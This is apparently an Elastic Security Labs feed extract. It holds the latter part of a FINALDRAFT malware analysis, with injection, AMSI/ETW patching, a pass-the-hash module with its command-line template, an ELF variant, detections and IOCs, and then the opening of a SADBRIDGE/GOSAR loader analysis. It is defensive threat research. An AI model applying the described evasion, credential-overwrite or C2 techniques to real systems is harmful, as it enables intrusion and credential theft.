<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image37.png" alt="Retrieve external IP if flag is set" /></p>
<p>This address is obtained by FINALDRAFT using the following list of public services.</p>
<table>
<thead>
<tr>
<th align="left">Public service</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxps://ip-api.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipinfo.io/json</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://myexternalip.com/raw</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://ipapi.co/json/</code></td>
</tr>
<tr>
<td align="left"><code>hxxps://jsonip.com/</code></td>
</tr>
</tbody>
</table>
<p><em>IP lookup service list</em></p>
<h3>Process injection</h3>
<p>FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.</p>
<p>In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> as a fallback.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image50.png" alt="mspaint.exe process injection target" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image33.png" alt="conhost.exe process injection target" /></p>
<p>Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image44.png" alt="Create hidden process with piped STD handles" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image24.png" alt="Read process' piped stdout" /></p>
<p>Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image58.png" alt="Wait for injected process to create its named pipe" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image29.png" alt="Read from named pipe and send to C2" /></p>
<p>The process injection procedure is basic and based on <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, and <code>RtlCreateUserThread</code> API.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image48.png" alt="Process injection method" /></p>
<h3>Forwarding data from TCP, UDP, and named pipes</h3>
<p>FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.</p>
<p>Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.</p>
<p>Below is an example screenshot of the <code>recvfrom</code> call from the UDP listener.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image16.png" alt="Received data from UDP client" /></p>
<p>Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses <strong>COM</strong> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwpolicy2">INetFwPolicy2</a> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwrule">INetFwRule</a> interfaces.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image34.png" alt="FINALDRAFT adds firewall rule to allow TCP server" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image30.png" alt="Instantiating the NetFwPolicy2 COM interface" /></p>
<p>FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, <code>“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”</code> and expects the server to echo the same magic value back before beginning to forward the received data.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image27.png" alt="Send and receive magic data to/from TCP target" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image18.png" alt="Magic data blob" /></p>
<p>For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image31.png" alt="Forward data from named pipe" /></p>
<h3>File manipulation</h3>
<p>For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image54.png" alt="Zero out file before deletion" /></p>
<p>FINALDRAFT defaults to <code>CopyFileW</code> for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.</p>
<p>It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses <code>GetDiskFreeSpaceW</code> to retrieve information about the number of sectors per cluster and bytes per sector. <code>DeviceIoControl</code> is then called with <code>FSCTL_GET_RETRIEVAL_POINTERS</code> to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image14.png" alt="Retrieving file data extents" /></p>
<p>For each extent, it uses <code>SetFilePointer</code> to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image57.png" alt="Read/write file between clusters" /></p>
<p>If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the <code>$DATA</code> attribute (type identifier  = 128). Data is then extracted from this attribute and written to the destination file using <code>WriteFile</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image17.png" alt="Copy resident files using MFT records" /></p>
<h3>Injected Modules</h3>
<p>Our team observed several additional modules loaded through the <code>DoProcessInjectionSendOutputEx</code> command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known <a href="https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c">sRDI</a> project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.</p>
<h4>Network enumeration (<code>ipconfig.x64.dll</code>)</h4>
<p>This module creates a named pipe (<code>\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1</code>) waiting for FINALDRAFT to connect to it.  Perhaps to prevent analysis/sandboxing, the threat actor used a password (<code>Aslire597</code>) as an argument, if the password is incorrect, the module will not run.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image12.png" alt="String comparison with command-line password" /></p>
<p>As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (<code>GetAdaptersAddresses</code>, <code>GetAdaptersInfo</code>, <code>GetNetworkParams</code>) and reading the Windows registry keypath (<code>SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces</code>). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image38.png" alt="Retrieving network adapter information" /></p>
<h4>PowerShell execution (<code>Psloader.x64.dll</code>)</h4>
<p>This module allows the operator to execute PowerShell commands without invoking the <code>powershell.exe</code> binary. The code used is taken from <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>, a well-known open source offensive security tool.</p>
<p>To evade detection, the module first hooks the <code>EtwEventWrite</code>, <code>ReportEventW</code>, and <code>AmsiScanBuffer</code> APIs, forcing them to always return <code>0</code>, which disables ETW logging and bypasses anti-malware scans.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image20.png" alt="Patching AMSI and ETW APis" /></p>
<p>Next, the DLL loads a .NET payload (<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>) stored in its <code>.data</code> section using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces">CLR Hosting technique</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image25.png" alt="Managed code of PowerPick loaded using CLR hosting technique" /></p>
<p>The module creates a named pipe (<code>\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2</code>) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed <strong>PowerPick</strong> binary is loaded and executed by the module.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image26.png" alt="Managed binary of PowerPick loaded by the module" /></p>
<h4>Pass-the-Hash toolkit (<code>pnt.x64.dll</code>)</h4>
<p>This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, enabling lateral movement.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image45.png" alt="Decrypted strings from memory for PTH module" /></p>
<p>A password (<code>Aslire597</code>), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.</p>
<p><code>program.exe &lt;password&gt; &lt;domain&gt;\&lt;account&gt;:&lt;ntlm_hash&gt; &lt;target_process&gt;</code></p>
<p>Like the other module, it creates a named pipe, ”<code>\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9</code>”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image21.png" alt="named pipe creation for pnt.x64.dll" /></p>
<p>After establishing the pipe connection, the malware creates a target process in a suspended state using <code>CreateProcessWithLogonW</code>, identifies key structures like the <code>LogonSessionList</code> and <code>LogonSessionListCount</code> within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.</p>
<p>Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post &quot;<a href="https://www.praetorian.com/blog/inside-mimikatz-part2/">Inside the Mimikatz Pass-the-Hash Command (Part 2)</a>&quot; by Praetorian. The result is then sent to the named pipe.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image22.png" alt="Named pipe output and created process" /></p>
<h2>FINALDRAFT ELF variant</h2>
<p>During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.</p>
<h3>Additional transport channels</h3>
<p>The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:</p>
<table>
<thead>
<tr>
<th align="left">C2 communication protocols</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">HTTP/HTTPS</td>
</tr>
<tr>
<td align="left">Reverse UDP</td>
</tr>
<tr>
<td align="left">ICMP</td>
</tr>
<tr>
<td align="left">Bind TCP</td>
</tr>
<tr>
<td align="left">Reverse TCP</td>
</tr>
<tr>
<td align="left">DNS</td>
</tr>
<tr>
<td align="left">Outlook via REST API (could be communicating with an API proxy)</td>
</tr>
<tr>
<td align="left">Outlook via Graph API</td>
</tr>
</tbody>
</table>
<p><em>FINALDRAFT ELF variant C2 communication options</em></p>
<p>From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.</p>
<p>While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either <code>/var/log/installlog.log.&lt;UUID_from_config&gt;</code> or <code>/mnt/hgfsdisk.log.&lt;UUID_from_config&gt;</code> if it fails to write to the prior file.</p>
<p>Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number <code>0x1bb</code> (<code>443</code>) at offset <code>0xc8</code>, and flag for using HTTPS at offset <code>0xfc</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image2.png" alt="FINALDRAFT ELF variant configuration snippet" /></p>
<p>The domains are intentionally designed to typosquat well-known vendors, such as &quot;VMSphere&quot; (VMware vSphere). However, it's unclear which vendor &quot;Hobiter&quot; is attempting to impersonate in this instance.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">support.vmphere.com</td>
</tr>
<tr>
<td align="left">update.hobiter.com</td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Commands</h3>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image32.png" alt="Command handlers" /></p>
<p>All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:</p>
<ul>
<li>Hostname</li>
<li>Current logged-in user</li>
<li>Intranet IP address</li>
<li>External IP address</li>
<li>Gateway IP address</li>
<li>System boot time</li>
<li>Operating system name and version</li>
<li>Kernel version</li>
<li>System architecture</li>
<li>Machine GUID</li>
<li>List of active network connections</li>
<li>List of running processes</li>
<li>Name of current process</li>
</ul>
<h4>Command Execution</h4>
<p>While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes <code>popen</code> for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image28.png" alt="Executing shell command" /></p>
<h4>Self Deletion</h4>
<p>To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to <code>sys_readlink</code>. <code>sys_unlink</code> is then called to remove the executable file from the filesystem.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image11.png" alt="Self deletion using sys_unlink" /></p>
<h2>Older FINALDRAFT PE sample</h2>
<p>During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.</p>
<p>The name of the binary is <code>Session.x64.dll</code>, and its entrypoint export is called <code>GoogleProxy</code>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image5.png" alt="PE export of FINALDRAFT" /></p>
<h3>HTTP transport channel</h3>
<p>This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image59.png" alt="Choice between Outlook and HTTP transport channels" /></p>
<p>In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (<code>checkponit[.]com</code>) was registered on 2022-08-26T09:43:16Z and domain (<code>fortineat[.]com</code>) was registred on 2023-11-08T09:47:47Z.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image6.png" alt="Domains found in the configuration" /></p>
<p>The domains purposely typosquat real known vendors, <strong>CheckPoint</strong> and <strong>Fortinet</strong>, in this case.</p>
<table>
<thead>
<tr>
<th align="left">C2</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
</tr>
</tbody>
</table>
<p><em>Domain list</em></p>
<h3>Shell command</h3>
<p>An additional command exists in this sample that is not present in later versions. This command, with ID <code>1</code>, executes a shell command.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image9.png" alt="Shell command handler setup" /></p>
<p>The execution is carried out by creating a <code>cmd.exe</code> process with the <code>&quot;/c&quot;</code> parameter, followed by appending the actual command to the parameter.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image60.png" alt="Create piped cmd.exe process" /></p>
<h1>Detection</h1>
<p>Elastic Defend detects the process injection mechanism through two rules. The first rule detects the <code>WriteProcessMemory</code> API call targeting another process, which is a common behavior observed in process injection techniques.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image42.png" alt="Detecting WriteProcessMemory in FINALDRAFT process injection" /></p>
<p>The second rule detects the creation of a remote thread to execute the shellcode.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image35.png" alt="Detection of injected shellcode thread" /></p>
<p>We also detect the loading of the PowerShell engine by the <code>Psloader.x64.dll</code> module, which is injected into the known target <code>mspaint.exe</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/image4.png" alt="Detection of PowerShell engine loads" /></p>
<h1>Malware and MITRE ATT&amp;CK</h1>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h2>Tactics</h2>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
</ul>
<h2>Techniques</h2>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1102/003/">Web Service: One-Way Communication</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/003/">Masquerading: Rename System Utilities</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/002/">Process Injection: Portable Executable Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1550/002/">Use Alternate Authentication Material: Pass the Hash</a></li>
<li><a href="https://attack.mitre.org/techniques/T1046/">Network Service Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1012/">Query Registry</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/">Exfiltration Over Web Service</a></li>
</ul>
<h1>Mitigations</h1>
<h2>Detection</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/execution_unusual_powershell_engine_imageload.toml">Unusual PowerShell Engine ImageLoad</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml">AMSI or WLDP Bypass via Memory Patching</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Service</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_execution_via_windows_command_line_debugging_utility.toml">Execution via Windows Command Line Debugging Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created the following YARA rules related to this post:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">Windows.Trojan.PathLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">Windows.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">Linux.Trojan.FinalDraft</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">Multi.Trojan.FinalDraft</a></li>
</ul>
<h1>Observations</h1>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Reference</th>
<th align="left">Date</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td>
<td align="left">SHA256</td>
<td align="left">PATHLOADER</td>
<td align="left">VT first seen: 2023-05-09 09:44:45 UTC</td>
</tr>
<tr>
<td align="left"><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT initial sample</td>
<td align="left">Telemetry first seen: 2024-11-28 20:49:18.646</td>
</tr>
<tr>
<td align="left"><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td>
<td align="left">SHA256</td>
<td align="left">FINALDRAFT ELF variant</td>
<td align="left">VT first seen: 2024-10-05 07:15:00 UTC</td>
</tr>
<tr>
<td align="left"><code>poster.checkponit[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2022-08-26T09:43:16Z  Valid until: 2025-08-26T07:00:00Z</td>
</tr>
<tr>
<td align="left"><code>support.fortineat[.]com</code></td>
<td align="left">domain</td>
<td align="left">PATHLOADER/FINALDRAFT domain</td>
<td align="left">Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z</td>
</tr>
<tr>
<td align="left"><code>support.vmphere[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z</td>
</tr>
<tr>
<td align="left"><code>update.hobiter[.]com</code></td>
<td align="left">domain</td>
<td align="left">FINALDRAFT domain</td>
<td align="left">Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/finaldraft/Security Labs Images 13.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite]]></title>
            <link>https://www.elastic.co/jp/security-labs/under-the-sadbridge-with-gosar</link>
            <guid>under-the-sadbridge-with-gosar</guid>
            <pubDate>Fri, 13 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs share details about the SADBRIDGE loader and GOSAR backdoor, malware used in campaigns targeting Chinese-speaking victims.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.</p>
<h3>Key takeaways</h3>
<ul>
<li>Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser</li>
<li>Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)</li>
<li>SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)</li>
<li>GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time</li>
<li>Elastic Security provides comprehensive prevention and detection capabilities against this attack chain</li>
</ul>
<h2>REF3864 Campaign Overview</h2>
<p>In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image32.png" alt="Fake Telegram landing page" /></p>
<p>During this investigation, we uncovered multiple infection chains involving similar techniques:</p>
<ul>
<li>Trojanized MSI installers with low detections</li>
<li>Masquerading using legitimate software bundled with malicious DLLs</li>
<li>Custom SADBRIDGE loader deployed</li>
<li>Final stage GOSAR loaded</li>
</ul>
<p>We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows <code>x64dbg.exe</code> debugging application is used behind-the-scenes to load a malicious, patched DLL (<code>x64bridge.dll</code>). This DLL kicks off a new legitimate program (<code>MonitoringHost.exe</code>) where it side-loads another malicious DLL (<code>HealthServiceRuntime.dll</code>), ultimately performing injection and loading the GOSAR implant in memory via injection.</p>
<p>Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as <code>360tray.exe</code>, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.</p>
<p>QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, <a href="https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf?_ga=2.196384556.1458236792.1733495919-74841447.1733495919">Evolution of Quasar RAT</a>), including by China-linked <a href="https://www.fbi.gov/wanted/cyber/apt-10-group">APT10</a>. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.</p>
<p>GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image14.png" alt="SADBRIDGE Execution Chain resulting in GOSAR infection" /></p>
<h2>SADBRIDGE Introduction</h2>
<p>The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as <code>x64dbg.exe</code> and <code>MonitoringHost.exe</code> to load malicious DLLs like <code>x64bridge.dll</code> and <code>HealthServiceRuntime.dll</code>, which leads to subsequent stages and shellcodes.</p>
<p>Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a <a href="https://github.com/0xlane/BypassUAC">UAC bypass technique</a> that abuses the <code>ICMLuaUtil</code> COM interface. In addition, SADBRIDGE incorporates a <a href="https://github.com/zcgonvh/TaskSchedulerMisc">privilege escalation bypass</a> through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.</p>
<p>The SADBRIDGE configuration is encrypted using a simple subtraction of <code>0x1</code> on each byte of the configuration string. The encrypted stages are all appended with a <code>.log</code> extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.</p>
<p>SADBRIDGE employs <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty</a>, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long <code>Sleep</code> API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).</p>
<p>The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.</p>
<h2>SADBRIDGE Code Analysis</h2>
<h4>MSI Analysis</h4>
<p>The initial files are packaged in an MSI using <a href="https://www.advancedinstaller.com/">Advanced Installer</a>, the main files of interest are <code>x64dbg.exe</code> and <code>x64bridge.dll</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image20.png" alt="Significant files inside the MSI installer" /></p>
<p>By using MSI tooling (<a href="https://github.com/activescott/lessmsi">lessmsi</a>), we can see the <code>LaunchApp</code> entrypoint in <code>aicustact.dll</code> is configured to execute the file path specified in the <code>AI_APP_FILE</code> property.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image1.png" alt="Custom actions configured using Advanced Installer" /></p>
<p>If we navigate to this <code>AI_APP_FILE</code> property, we can see the file tied to this configuration is <code>x64dbg.exe</code>. This represents the file that will be executed after the installation is completed, the legitimate <code>NetFxRepairTool.exe</code> is never executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/under-the-sadbridge-with-gosar/image31.png" alt="AI_APP_FILE property configured to launch x64dbg.exe" /></p>
<h4>x64bridge.dll Side-loading</h4>
<p>When <code>x64dbg.exe</code> gets executed, it calls the <code>BridgeInit</code> export from <code>x64bridge.dll</code>. <code>BridgeInit</code> is a wrapper for the <code>BridgeStart</code> function.</p>
